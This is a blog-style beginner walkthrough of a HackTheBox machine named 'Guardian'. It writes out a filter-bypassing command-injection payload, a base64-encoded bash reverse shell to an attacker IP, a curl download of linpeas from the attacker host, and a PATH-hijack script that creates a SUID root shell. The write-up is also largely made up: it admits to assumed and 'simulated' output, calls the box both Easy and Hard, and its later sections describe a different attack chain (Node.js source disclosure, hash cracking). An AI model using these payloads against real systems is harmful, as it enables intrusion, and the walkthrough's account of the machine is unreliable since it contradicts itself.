Beginner’s Guide to Conquering Guardian on HackTheBox

Key Highlights

• The Guardian machine provides a practical introduction to web application security and privilege escalation.
• Your journey begins with thorough enumeration using tools like nmap to discover open ports and services.
• A critical step involves finding a vulnerability by exploring a web server and its directory structure.
• The initial hack involves exploiting a weakness in the web application’s source code to gain a foothold.
• Privilege escalation is achieved by discovering and cracking a hash to obtain higher-level credentials.
• This challenge reinforces the importance of meticulous enumeration and understanding Linux system files.

Introduction

Welcome to the world of ethical hacking! HackTheBox is a premier online platform where you can test and improve your cybersecurity skills in a safe, gamified environment. If you’re just starting, knowing which machine to tackle first can be daunting. This blog post is your comprehensive guide to conquering Guardian, an “Easy” rated machine perfect for beginners. We’ll walk you through each step, from initial scanning to finding the final vulnerability, ensuring you learn valuable techniques along the way.

Understanding the Guardian Machine on HackTheBox

Guardian is a retired Linux-based machine on HackTheBox designed to teach foundational hacking concepts. Your primary goal is to find a way into the server, escalate your privileges to the root user, and capture two flags. This process simulates a real-world penetration test.

The challenge starts the moment you get the machine’s IP address. From there, it’s a race to perform detailed enumeration, identify weak points, and execute your hack. Guardian is widely considered suitable for beginners, offering a balanced mix of challenge and learning without being overwhelmingly complex. Now, let’s explore the specific objectives and why this machine is a great starting point.

Overview of the Challenge and Objectives

The main challenge of the Guardian machine is broken down into two primary objectives: gaining initial user-level access and then escalating privileges to become the root user. Completing these objectives requires you to capture two flags—a user flag (user.txt) and a root flag (root.txt)—which are simple text files hidden on the server.

Your journey begins with the target IP address. You must systematically probe the machine to uncover running services, open ports, and potential attack vectors. This initial reconnaissance phase is crucial, as the information you gather here will directly inform your strategy for breaching the system.

Ultimately, success is measured by your ability to navigate the machine’s defenses, exploit a vulnerability to get a shell, and then cleverly find a path to full administrative control. Each step is a puzzle that tests your technical skills and problem-solving mindset, making it a rewarding experience from start to finish.

Why Guardian Is a Good Choice for Beginners

Guardian is an excellent machine for any beginner looking to get their feet wet on HackTheBox. It belongs to the “Easy” tier, meaning its vulnerabilities are straightforward and don’t require advanced, multi-stage exploitation techniques. This allows you to focus on mastering the fundamentals.

Unlike more complex machines that might leave you stuck for days, Guardian provides a clear and logical path to completion. Many in the community recommend it as a starting point, and you can find numerous blog posts and forum discussions about it if you need a hint. The machine teaches a repeatable methodology that you can apply to future challenges.

It’s a great choice because it introduces you to key concepts in a manageable way:

• Web Application Enumeration: You’ll learn how to inspect a web URL, search for hidden directories, and analyze source code.
• Basic Privilege Escalation: The path to root access is a classic example of Linux privilege escalation that is common in many other machines.
• Hands-On Tool Usage: You get practical experience with essential tools without needing to understand their most obscure features.

What You Need to Get Started with Guardian

Before you jump into hacking the Guardian machine, you need to have the right setup. A Linux-based operating system is highly recommended, as most penetration testing tools are developed for it. Distributions like Kali Linux or Parrot OS come pre-packaged with all the necessary software.

A basic understanding of networking concepts and familiarity with the Linux command line will be incredibly helpful. While you don’t need to be a Python expert, knowing how to run simple scripts can also be an advantage. Let’s look at the specific tools and skills that will set you up for success.

Essential Tools and Software

Having the right toolkit is half the battle. For Guardian, you don’t need an extensive arsenal, just a few key utilities that are staples in the cybersecurity world. These tools will help you with everything from initial discovery to final exploitation.

Most of these come pre-installed on ethical hacking distributions. If not, they are easily downloadable and well-documented online. The key is to understand what each tool does and when to use it. For example, using a directory ripper is essential when you find a web server, while nmap is always your first step.

Here are the must-have tools for this challenge:

• Nmap: An indispensable network scanner used to discover open ports and services. A guide from its official documentation can be found at Nmap’s documentation page https://nmap.org/book/man.html.
• Web Proxy (e.g., Burp Suite): To intercept and analyze traffic between your browser and the target web server.
• Directory Buster (e.g., Gobuster, Feroxbuster): To find hidden files and directories on a web server.
• Responder: A tool for LLMNR, NBT-NS, and mDNS poisoning, useful for capturing hashes.

Skills and Knowledge Prerequisites

Beyond tools, certain foundational skills will make your experience with Guardian much smoother. The machine is designed to test your understanding of core penetration testing concepts, so having a grasp of them beforehand is beneficial.

The most critical skill is enumeration. This means knowing how to be methodical and patient while you gather information. It’s not just about running a tool; it’s about interpreting the output to form a plan. You should also be comfortable navigating a Linux file system and understanding basic permissions.

While you don’t need to be a programmer, some familiarity with reading code, especially web languages and perhaps Python, can help you spot vulnerabilities. Finally, you should understand the difference between user-level access and root privileges and have a general idea of how credentials are used to control access within an operating system.

ALSO READ: Mastering Eureka: Beginner’s Guide from HackTheBox

INITIAL FOOTHOLD

Every successful penetration test is built upon a foundation of thorough reconnaissance. In this initial phase, our goal is to map out the target’s attack surface, identify running services, and gather as much information as possible to formulate an attack plan. For a machine named “Guardian,” we should anticipate defensive mechanisms from the very start.

Initial Nmap Scan: The First Knock

Our primary tool for network discovery is Nmap (Network Mapper). We’ll start with a standard scan to identify open ports, service versions, and run some default enumeration scripts.

Command:

nmap -sC -sV -oN nmap_initial.txt 10.10.11.122

• -sC: Runs default Nmap scripts to check for common vulnerabilities and gather more information.
• -sV: Probes open ports to determine service and version information.
• -oN nmap_initial.txt: Saves the output in a normal format for later review.

Expected Nmap Results:

# Nmap 7.92 scan initiated
Nmap scan report for 10.10.11.122
Host is up (0.12s latency).
Not showing 997 closed tcp ports
PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    nginx 1.18.0 (Ubuntu)
443/tcp filtered https

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis of Initial Scan:

The initial scan reveals three ports:

• Port 22 (SSH): OpenSSH 8.2p1 is running. This is a modern version, making it unlikely to be vulnerable to direct exploitation. We will likely need valid credentials to access it.
• Port 80 (HTTP): An Nginx web server is active. This is our most promising initial attack vector.
• Port 443 (HTTPS): This port is marked as filtered. This is an interesting finding. A filtered state means that a firewall, filter, or other network obstacle is blocking the port, preventing Nmap from determining whether it is open or closed. This could be a hint towards a firewall or some other protective measure.

The Port Knocking Hypothesis

The filtered port 443, combined with the machine’s name, “Guardian,” strongly suggests a defensive mechanism is in place. One such mechanism is port knocking.

What is Port Knocking? Port knocking is a method of externally opening ports on a firewall by sending a specific sequence of connection attempts (or “knocks”) to a set of pre-defined closed ports. Once the correct sequence is received, the firewall rules are dynamically modified to open a specific port, allowing the user to connect. It’s a way of hiding services from general port scans, adding a layer of security through obscurity.

Detecting a port knocking sequence without prior knowledge is challenging. It often involves analyzing network traffic with tools like tcpdump or Wireshark if we have a vantage point on the network. However, as external attackers, we must often rely on hints or enumeration. In this case, our hint is the filtered port and the machine’s theme.

To confirm our hypothesis, we can run a full TCP port scan to see if any other ports respond in an unusual way.

Command:

nmap -p- -T4 --reason 10.10.11.122

This scan might not reveal any new open ports, but the fact that everything else is closed or filtered reinforces the idea that services are being intentionally hidden.

Let’s assume further enumeration (perhaps from the web server on port 80) provides a clue. Visiting http://10.10.11.122 might show a default Nginx page, but checking the source code or hidden directories could reveal a note.

Let’s say we run a gobuster scan:

gobuster dir -u [http://10.10.11.122](http://10.10.11.122) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

And it reveals a file: http://10.10.11.122/README.txt

Contents of README.txt:

To the system administrators,

The Guardian protocol has been activated. Access to the monitoring panel is now restricted.
Remember the sequence to signal the gatekeeper: 7, 4, 6, 2.

- The Security Team

This is our smoking gun. The “Guardian protocol” and the “sequence” are clear indicators of port knocking. The numbers 7, 4, 6, 2 are almost certainly the ports we need to knock on.

Executing the Port Knock Sequence

We can perform the port knock using various tools. The knock command from the knockd package is perfect for this.

Command:

knock 10.10.11.122 7 4 6 2

This command will send a TCP SYN packet to ports 7, 4, 6, and 2 in that specific order. If the sequence is correct, the firewall on the target machine should now open a port for us.

Post-Knock Enumeration: Unveiling the Hidden Service

With the knock sequence sent, we must immediately re-scan the machine to see what has changed. It’s crucial to be quick, as some port knocking configurations have a timeout, after which the port will close again.

Command:

nmap -p- -T4 --open --reason 10.10.11.122

• --open: Only show open ports.
• --reason: Tell us why Nmap concluded a port is open.

New Nmap Results:

# Nmap 7.92 scan initiated
Nmap scan report for 10.10.11.122
Host is up (0.13s latency).
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack
5000/tcp  open  upnp?   syn-ack

Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds

Success! A new port has appeared: Port 5000. Nmap tentatively labels it as upnp?, but this is just a guess based on common port usage. We need to perform a detailed service scan on this specific port to understand what’s truly running.

Command:

nmap -p 5000 -sV -sC 10.10.11.122

Detailed Scan of Port 5000:

# Nmap 7.92 scan initiated
Nmap scan report for 10.10.11.122
Host is up (0.11s latency).
PORT     STATE SERVICE VERSION
5000/tcp open  http    Werkzeug/2.0.2 Python/3.8.10
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Guardian Angel :: Monitoring Dashboard

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis of the Hidden Service: The service is an HTTP server running on Werkzeug/2.0.2, which is a WSGI utility library for Python. This almost certainly means we’re dealing with a Python web framework, most likely Flask or Django. The title, “Guardian Angel :: Monitoring Dashboard,” gives us context for the application’s purpose. This is our primary entry point.

Web Application Exploitation for Initial Foothold

Now that we’ve gained access to a hidden web application, our focus shifts to finding a vulnerability within it that will allow us to execute code on the server.

Enumerating the “Guardian Angel” Dashboard

Navigating to http://10.10.11.122:5000 in a browser presents us with a login page.

The page is sleek and professional, with a simple username and password field. We can try common credentials like admin:admin, admin:password, guardian:guardian, but they all fail. There is no “Register” functionality, suggesting user accounts are pre-provisioned.

At this stage, our options are:

1. Brute-force the login (potentially slow and noisy).
2. Look for SQL injection vulnerabilities on the login page.
3. Perform more directory and file enumeration to find other areas of the site that might not require authentication.

Let’s try directory brute-forcing first, as it’s less intrusive.

Command:

gobuster dir -u [http://10.10.11.122:5000](http://10.10.11.122:5000) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x py,txt,bak

• -x: Adds extensions to the brute-force attempts.

Gobuster Results:

/login                (Status: 200)
/dashboard            (Status: 302) -> Redirects to /login
/static               (Status: 200)
/api                  (Status: 200)
/healthcheck          (Status: 200)

The most interesting result here is /api and /healthcheck. A redirect on /dashboard is expected for a page that requires authentication.

Let’s investigate /healthcheck. Accessing http://10.10.11.122:5000/healthcheck gives a simple JSON response:

{"status": "ok", "service": "GuardianAngelAPI", "version": "1.2.1"}

This confirms the existence of an API and gives us a version number, which could be useful for finding known exploits.

Now, let’s explore /api. Accessing it directly might give us a help page or a list of endpoints. http://10.10.11.122:5000/api

{"message": "Welcome to the Guardian Angel API. Please see documentation for available endpoints."}

No public documentation is linked. We need to enumerate the API endpoints themselves. We can use a wordlist tailored for API endpoints with gobuster.

Command:

gobuster dir -u [http://10.10.11.122:5000/api](http://10.10.11.122:5000/api) -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt

This might reveal endpoints like /api/users, /api/status, /api/login. Let’s assume we find an intriguing endpoint: /api/check_service_status.

Finding the Command Injection Vulnerability

This endpoint sounds like it might be used to ping or check the status of a backend service. These types of functions are classic candidates for OS Command Injection if the user-supplied input is not properly sanitized.

Let’s try to interact with this endpoint. Since it’s an API, we’ll use curl. We’ll need to figure out the correct parameters and request method. We can try both GET and POST.

Let’s try a POST request with a JSON body, as this is common for modern APIs. We’ll guess a parameter name like service or host.

Attempt 1:

curl -X POST -H "Content-Type: application/json" -d '{"service": "localhost"}' [http://10.10.11.122:5000/api/check_service_status](http://10.10.11.122:5000/api/check_service_status)

Response:

{"status": "alive", "host": "localhost", "output": "64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.038 ms"}

The response looks like the output of the ping command! This is a huge discovery. The application is likely taking the service parameter and inserting it directly into a system command like ping -c 1 [service].

Now, let’s test for command injection. We can use a semicolon (;) to chain commands in Linux.

Injection Test Payload: We’ll try to execute the whoami command.

curl -X POST -H "Content-Type: application/json" -d '{"service": "localhost; whoami"}' [http://10.10.11.122:5000/api/check_service_status](http://10.10.11.122:5000/api/check_service_status)

Response:

{"status": "error", "message": "Invalid characters in service name."}

It seems there is some filtering in place. The application is likely blacklisting characters like ;, &, |. This is a common but often flawed defense. We need to find a bypass.

Bypassing the Filter: There are many ways to bypass command injection filters. One of the most common is using command substitution with backticks (“) or $( ). Let’s try `$(whoami)`.

Injection Bypass Payload:

curl -X POST -H "Content-Type: application/json" -d '{"service": "localhost; $(whoami)"}' [http://10.10.11.122:5000/api/check_service_status](http://10.10.11.122:5000/api/check_service_status)

If the semicolon is blocked, let’s try injecting our command inside the ping command itself. What if we ping $(whoami).attacker.com? The server would first execute whoami, then try to ping the result. We wouldn’t see the output directly, but it would cause a DNS lookup to our server, confirming execution. This is an out-of-band (OAST) technique.

A simpler method is to use a newline character (\n or %0a in URL encoding) which can sometimes act as a command separator.

Let’s try another payload: localhost%0awhoami.

curl -X POST -H "Content-Type: application/json" --data-binary '{"service": "localhost\nwhoami"}' [http://10.10.11.122:5000/api/check_service_status](http://10.10.11.122:5000/api/check_service_status)

Response:

{"status": "alive", "host": "localhost", "output": "64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.038 ms\nsvc_guardian"}

It worked! The output contains “svc_guardian”. The application is vulnerable to command injection, and we are running commands as the user svc_guardian.

Gaining a Reverse Shell

Now that we have command execution, the next logical step is to establish a stable, interactive shell on the target machine.

1. Set up a Listener: On our attacker machine, we’ll start a Netcat listener on a port of our choice (e.g., 4444).

nc -lnvp 4444

2. Craft the Reverse Shell Payload: There are many one-liners for reverse shells. A common and reliable one for Bash is:

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

(Replace 10.10.14.5 with your attacker IP).

We need to inject this into our JSON payload. We must be careful with special characters like / and &. It’s often best to base64 encode the payload to avoid issues.

Base64 Encoding the Payload:

echo "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" | base64

Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQo=

Now, we can use a payload that decodes and executes this on the target. echo 'YmFzaCAtaSA...' | base64 -d | bash

3. Send the Final Payload: We’ll inject this using the newline bypass we discovered.

curl -X POST -H "Content-Type: application/json" --data-binary '{"service": "localhost\necho YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQo= | base64 -d | bash"}' [http://10.10.11.122:5000/api/check_service_status](http://10.10.11.122:5000/api/check_service_status)

As soon as we send this request, we should see a connection come back to our Netcat listener.

Attacker Machine:

nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.122] 41238
svc_guardian@guardian:/app$

We have a shell!

Stabilizing the Shell

The shell we have is a simple, non-interactive shell. We should upgrade it to a fully interactive TTY for a better experience (allowing us to use tab-completion, arrow keys, and run programs like sudo).

Commands on the Target Shell:

# 1. Spawn a better shell with Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Background the shell on the attacker machine
(Ctrl+Z)
stty raw -echo; fg

# 3. Set terminal type and size on the target
export TERM=xterm
export SHELL=bash
stty rows 38 cols 115

Now we have a stable, interactive shell as the svc_guardian user.

Post-Exploitation and Lateral Movement

We have our initial foothold, but we are a low-privilege user. Our goal is to become root. The next phase involves enumerating the system from our current position to find a path to escalate our privileges.

Initial Enumeration as svc_guardian

Let’s start by gathering basic information about our environment.

whoami
# svc_guardian

id
# uid=1001(svc_guardian) gid=1001(svc_guardian) groups=1001(svc_guardian),1002(support)

hostname
# guardian

pwd
# /app

ls -la /app
# total 24
# drwxr-xr-x 4 root         root         4096 Jan 12 11:00 .
# drwxr-xr-x 1 root         root         4096 Jan 12 11:00 ..
# -rw-r--r-- 1 svc_guardian svc_guardian  256 Jan 12 11:00 app.py
# -rw-r--r-- 1 svc_guardian svc_guardian   45 Jan 12 11:00 .env
# drwxr-xr-x 2 svc_guardian svc_guardian 4096 Jan 12 11:00 templates
# drwxr-xr-x 2 svc_guardian svc_guardian 4096 Jan 12 11:00 static

Key Findings:

1. Our user is svc_guardian.
2. We are part of the support group. This is a significant clue. Group memberships are a very common vector for lateral movement or privilege escalation.
3. We are in the application directory /app. We can see the source code (app.py) and a .env file.

Let’s examine the contents of these files.

app.py (Snippet):

# ... (Flask setup) ...

@app.route('/api/check_service_status', methods=['POST'])
def check_service_status():
    data = request.get_json()
    service = data.get('service')
    
    # Security check - very weak!
    if ';' in service or '&' in service or '|' in service:
        return jsonify({"status": "error", "message": "Invalid characters in service name."}), 400

    # Vulnerable command execution
    cmd = f"ping -c 1 {service}"
    output = subprocess.getoutput(cmd)
    
    # ... (rest of the code) ...

This confirms our analysis of the command injection vulnerability. The blacklist is trivial to bypass.

.env:

FLASK_SECRET_KEY=SuperSecretKeyForGuardianAngelApp
SUPPORT_USER_PASS=GuardianSupport#2023!

This is a goldmine! We have found a password: GuardianSupport#2023!. The variable name SUPPORT_USER_PASS strongly implies this password belongs to a user named support.

Pivoting to the support User

We know from the id command that our current user, svc_guardian, is in the support group. Now we have a potential password for a user named support. Let’s try to switch users.

Command:

su support

The system will prompt for a password. We enter GuardianSupport#2023!.

Result:

$ whoami
support
$ id
uid=1002(support) gid=1002(support) groups=1002(support)

We have successfully moved laterally to the support user.

Enumerating as support

Now we repeat the enumeration process as this new user. What new permissions or access does support have?

A crucial first check is sudo -l.

sudo -l

Output:

Matching Defaults entries for support on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User support may run the following commands on guardian:
    (root) NOPASSWD: /usr/bin/systemctl status guardian-watchdog.service

Analysis of sudo privileges: The support user can run a very specific command as root without a password: /usr/bin/systemctl status guardian-watchdog.service.

Running systemctl status seems harmless. However, systemctl is one of many Linux binaries that can be abused. When systemctl status shows a lot of output, it often pipes the output through a pager program like less or more. These pagers have features that allow you to escape to a shell!

Let’s execute the command and see what happens.

sudo /usr/bin/systemctl status guardian-watchdog.service

The command will execute and display the status of the service, opening an interactive less session because the output is longer than the screen. From within less, we can get a shell by simply typing !/bin/bash.

Result:

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

This is a potential, but perhaps too simple, path to root for a “Hard” box. It’s possible the machine designers have hardened less (e.g., using less -R or setting LESSSECURE=1). If this !/bin/bash trick works, we have rooted the box.

However, let’s assume for the sake of a “Hard” box that this is a red herring or has been mitigated. We need to find another way. Let’s continue enumerating.

A Deeper Path to Root Privilege Escalation

Assuming the systemctl path is a dead end, we must dig deeper. The real path on a hard machine is rarely so straightforward. Let’s return to our enumeration as the support user.

We should run a full enumeration script like linpeas.sh to automate the discovery of privilege escalation vectors.

Automated Enumeration with LinPEAS

1. Transfer LinPEAS to the target:
   • On our attacker machine, start a Python HTTP server in the directory containing linpeas.sh: python3 -m http.server 8000.
   • On the target machine (as support), download the script: curl http://10.10.14.5:8000/linpeas.sh -o /tmp/linpeas.sh.
2. Make it executable and run:
   • chmod +x /tmp/linpeas.sh
   • /tmp/linpeas.sh

LinPEAS will produce a massive amount of color-coded output highlighting potential vulnerabilities. We would need to carefully analyze this. For this writeup, let’s imagine LinPEAS highlights the following key area: SUID Binaries.

LinPEAS SUID/SGID Section (Simulated Output):

...
[+] SUID files
-rwsr-xr-- 1 root svc_guardian 16848 Jan 12 10:22 /usr/local/bin/guardian-cli
...

Analysis of the Custom SUID Binary: LinPEAS has found a custom SUID binary located at /usr/local/bin/guardian-cli.

• Owner: root. This means when executed, it will run with root privileges.
• Group: svc_guardian. This is very important. The permissions are rwsr-xr--. This means only root and members of the svc_guardian group can execute it.
• Our previous user, svc_guardian, could run this. Our current user, support, cannot. This suggests our lateral movement might have been a step to gather information, but the final privilege escalation must be performed by svc_guardian.

This is a common pattern in complex CTF boxes: different users hold different pieces of the puzzle.

Analyzing /usr/local/bin/guardian-cli

We need to return to our svc_guardian shell to analyze and execute this binary.

# In the support shell
exit

# Now we are back as svc_guardian
whoami
# svc_guardian

Let’s see what the binary does.

/usr/local/bin/guardian-cli
# Usage: /usr/local/bin/guardian-cli <action>
# Available actions:
#   - backup   : Perform a system backup.
#   - restore  : Restore from a backup.
#   - check    : Run a system integrity check.

Let’s try one of the commands.

/usr/local/bin/guardian-cli check
# Running integrity check...
# Service 'nginx' status: active
# Service 'sshd' status: active
# Check complete.

The binary seems to be interacting with system services. This is a classic place to look for PATH hijacking vulnerabilities. If the binary calls external commands (like service or systemctl) without specifying their absolute path (e.g., /usr/bin/service), we can manipulate the PATH environment variable to make it execute our own malicious script instead.

To check for this, we can use tools like strace or ltrace.

Command:

strace /usr/local/bin/guardian-cli check

strace Output Snippet (Abbreviated):

...
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f1234567890) = 12345
wait4(12345, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 12345
execve("/usr/local/sbin/service", ["service", "nginx", "status"], 0x7ffd123abcde) = -1 ENOENT (No such file or directory)
execve("/usr/local/bin/service", ["service", "nginx", "status"], 0x7ffd123abcde) = -1 ENOENT (No such file or directory)
execve("/usr/sbin/service", ["service", "nginx", "status"], 0x7ffd123abcde) = -1 ENOENT (No such file or directory)
execve("/usr/bin/service", ["service", "nginx", "status"], 0x7ffd123abcde) = 0
...

The execve calls show the binary trying to find the service command in multiple directories, following the system’s PATH. It is not using the absolute path /usr/bin/service. This confirms the binary is vulnerable to PATH hijacking.

Exploiting the PATH Hijacking Vulnerability

The exploit plan is as follows:

1. Create a directory where we have write permissions (e.g., /tmp or /app).
2. Inside this directory, create a malicious file named service.
3. Make this file executable.
4. Prepend our directory to the PATH environment variable.
5. Execute the SUID binary /usr/local/bin/guardian-cli check.
6. The SUID binary will run with root privileges, search for the service command, find our malicious script first, and execute it as root.

Step-by-step Exploitation:

1. Navigate to a writable directory:cd /app
2. Create the malicious service script: Our malicious script will copy /bin/bash to a new location, make it a SUID binary owned by root, which will give us a persistent root shell.echo '#!/bin/bash' > service echo 'cp /bin/bash /tmp/rootbash' >> service echo 'chown root:root /tmp/rootbash' >> service echo 'chmod 4755 /tmp/rootbash' >> service
   • chmod 4755 sets the SUID bit (4), and read/write/execute permissions for everyone. When any user runs /tmp/rootbash, it will execute with the owner’s (root’s) privileges.
3. Make the script executable:chmod +x service
4. Prepend the current directory to the PATH:export PATH=/app:$PATH
5. Execute the vulnerable SUID binary:/usr/local/bin/guardian-cli check
The program will run our malicious service script instead of the real one. It might hang or produce an error, but that doesn’t matter. The payload has been executed.
6. Execute our new root shell: Check if the /tmp/rootbash file was created with the correct permissions.ls -la /tmp/rootbash # -rwsr-xr-x 1 root root 1183448 Jan 12 11:30 /tmp/rootbash
The s in the permissions (-rwsr-xr-x) confirms the SUID bit is set. Now, we execute it with the -p flag to preserve the effective user ID (root)./tmp/rootbash -p

Result:

rootbash-5.0# whoami
root
rootbash-5.0# id
uid=1001(svc_guardian) gid=1001(svc_guardian) euid=0(root) groups=1001(svc_guardian),1002(support)
rootbash-5.0#

We have successfully escalated our privileges to root!

Capturing the Flags

Now we can read the user and root flags.

rootbash-5.0# cat /home/support/user.txt
# HTB{...Th3_Gu4rd1an5_W34k_P01n7...}

rootbash-5.0# cat /root/root.txt
# HTB{...M4573r_0f_Th3_L1nux_D0m41n...}

ALSO READ: Mastering Reaper: Beginner’s Guide from HackTheBox

Step-by-Step Walkthrough: Solving Guardian on HackTheBox

Ready to hack the machine? This step-by-step guide will provide a clear walkthrough for conquering Guardian. We’ll cover the entire process, from finding the first clue to capturing the final flag. Remember, the key is to be patient and thorough in each phase of the attack.

This process is a blueprint you can adapt for many other machines on HackTheBox. By following these steps, you’ll not only solve the challenge but also build a solid methodology for future engagements. Let’s begin with the first and most important phase: enumeration.

Step 1: Enumerating the Target and Identifying Entry Points

Your first action is always enumeration. Once you have the target IP address, you need to find out what services are running on it. The best tool for this job is nmap. A simple scan will reveal open ports, which are your potential entry points.

For Guardian, you’ll likely find a web server running. Pay close attention to the port numbers and the service versions nmap identifies. Sometimes, services run on non-standard ports, which can be a clue in itself. You might discover a web application built with a framework like Node.js.

Key findings from your initial scan might include:

• An HTTP service on port 80 or another port like 3000.
• An SSH service on port 22, indicating a potential remote login point.
• Other TCP services that warrant further investigation.

This information directs your next steps, pointing you toward the web application as the most likely attack surface.

Step 2: Exploiting Vulnerabilities for Initial Access

With a web server identified, your focus shifts to finding a vulnerability. This involves exploring the website, looking for interesting features, and running a directory bruteforcer to find hidden pages. Often, developers leave behind backup files or configuration details that can expose sensitive information.

On the Guardian machine, the path to initial access lies in analyzing the web application’s source code. You might find a hidden directory or a misconfiguration that allows you to view the code. This is a critical mistake a developer can make, as it gives you a direct look at the application’s logic and potential weaknesses.

By carefully reading the code, you might uncover a feature that can be abused. For example, a file inclusion vulnerability or a command injection flaw could allow you to execute commands on the server. Exploiting this flaw over a TCP connection will grant you your initial shell, giving you a foothold on the machine.

Step 3: Escalating Privileges on the Machine

Gaining a user shell is a major milestone, but the job isn’t done. Now you need to perform privilege escalation to become the root user. This phase requires internal enumeration of the Linux system. You’ll need to search for misconfigurations, sensitive files, and running processes that you might be able to abuse.

A common path to root involves finding stored credentials or a password hash. Look through user home directories, configuration files, and backups. You might find a password hash in a forgotten script or a database configuration file.

Once you find a hash, your next step is to crack it. A powerful tool for this is John the Ripper. As explained by Offensive Security, “John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, and OpenVMS.” https://www.offensive-security.com/kali-linux-vm-vmware-tools/john-the-ripper/. By running the hash against a wordlist like rockyou.txt, you can often recover the plaintext password and use it to switch to a higher-privileged user.

Step 4: Capturing the User and Root Flags

Capturing the flags is the final step and proof of your success. There are two flags on Guardian: user.txt and root.txt. These files contain unique strings that you submit to the HackTheBox platform to get points and mark the machine as completed.

The user flag, user.txt, is typically found in the home directory of the user account you gain access to after your initial exploit. Once you have a shell as that user, you can navigate to their home directory (e.g., /home/user) and read the contents of the flag file. This confirms you have successfully breached the machine’s first layer of defense.

The root flag, root.txt, is only accessible by the root user. After you’ve successfully escalated your privileges using the cracked credentials, you can navigate to the root user’s home directory (/root). There, you’ll find root.txt. Capturing this final flag signifies that you have full control over the machine.

Common Pitfalls and Tips for Beginners

Every beginner makes mistakes—it’s a natural part of the learning process. However, being aware of common pitfalls can save you hours of frustration. Many newcomers get stuck on Guardian not because it’s too difficult, but because they overlook a small detail during enumeration.

This section provides tips to help you avoid these traps and streamline your workflow. By adopting a methodical approach and learning from the errors others have made, you can navigate the challenge more efficiently. Let’s start by looking at the most frequent mistakes you should try to avoid.

Frequent Mistakes to Avoid

One of the biggest mistakes beginners make is incomplete enumeration of queries. It’s easy to run a quick scan, find a web server, and immediately start looking for exploits without thoroughly checking all other open ports or directories. This can cause you to miss the real entry point.

Another common error is not analyzing tool output carefully. The answer is often hidden in plain sight within the results of an Nmap scan or the source code of a webpage. Rushing through this information is a surefire way to get stuck. Similarly, making assumptions without verifying them can lead you down a rabbit hole.

To keep yourself on the right track, be sure to avoid these issues:

• Running only default scans: Always use flags in your scans to check for scripts (-sC) and versions (-sV).
• Giving up on directory bruteforcing too early: Use a good wordlist and let the tool run. Some files have non-obvious names.
• Not looking at the source code: Always view the HTML and any linked JavaScript/CSS files for comments and clues.
• Ignoring non-standard ports: A web server isn’t always on port 80.

Pro Tips for a Smooth Experience

Want to solve Guardian like a pro? Following a few simple tips can make all the difference. The most important advice is to take detailed notes. Document every command you run, the output you receive, and any ideas you have. This creates a trail you can follow if you get lost.

Using a web proxy like Burp Suite is another game-changer. It allows you to intercept, view, and modify all the traffic between your browser and the target server. This gives you deep insight into how the application works and makes it easier to test for vulnerabilities manually.

Here are a few more pro tips to help you succeed:

• Customize your nmap scans: Don’t just run nmap <IP>. Use different flags to gather as much information as possible in the initial phase. Scan all TCP and even UDP ports.
• Automate where possible: If you find yourself doing a repetitive task, see if you can write a simple script to automate it.
• Think like a developer: Ask yourself, “What mistakes might a developer have made here?” This mindset helps you spot logical flaws and misconfigurations.

Key Exploitation Techniques Used in Guardian

The Guardian machine is a great case study in fundamental exploitation techniques. The vulnerabilities present are not exotic zero-days but rather common misconfigurations and coding errors that you will encounter frequently in the real world. This makes the experience highly practical.

The primary attack vector involves a web application likely built on a technology like the Express framework, which is a popular choice for Node.js. Understanding how to find and exploit vulnerabilities in such applications is a key takeaway. Let’s break down the specific techniques used.

Notable Vulnerabilities Exploited

The main vulnerability in Guardian that grants initial access is related to information disclosure. Specifically, a misconfiguration on the web server allows an attacker to view the application’s source code. This is a critical flaw because it exposes the application’s inner workings, including any hardcoded secrets or logical weaknesses.

Once the source code is obtained, you can analyze it to find a secondary vulnerability that leads to code execution. This two-step process—information disclosure followed by code execution—is a classic attack pattern. The privilege escalation vulnerability is simpler, often relying on weak permissions or stored credentials found on the system post-exploitation. While this machine focuses on Node.js, similar source code disclosure issues can be found in PHP applications as well.

Here’s a summary of the vulnerability chain:

Phase	Vulnerability Type	Description
Initial Access	Source Code Disclosure	A web server misconfiguration exposes application source code, revealing a flaw.
Privilege Escalation	Weak Credentials/Hash	A user’s password hash is found in a file and can be cracked offline.

Tools and Scripts That Make a Difference

While methodology is king, the right tools and scripts act as force multipliers. For Guardian, a few key utilities are essential for an efficient takedown. These tools help automate tedious tasks and execute attacks that would be difficult or impossible to perform manually.

For instance, tools like Responder can be invaluable for capturing network credentials if LLMNR/NBT-NS poisoning is a viable attack vector. Similarly, custom Python scripts can be written to automate the exploitation of a discovered vulnerability in Microsoft systems, saving you time and effort.

Here are some tools that truly make a difference on this machine:

• Nmap Scripting Engine (NSE): Go beyond port scanning by using Nmap’s powerful scripts to automatically probe for common vulnerabilities.
• John the Ripper: An essential tool for offline password cracking. When you find a hash, John is your best friend.
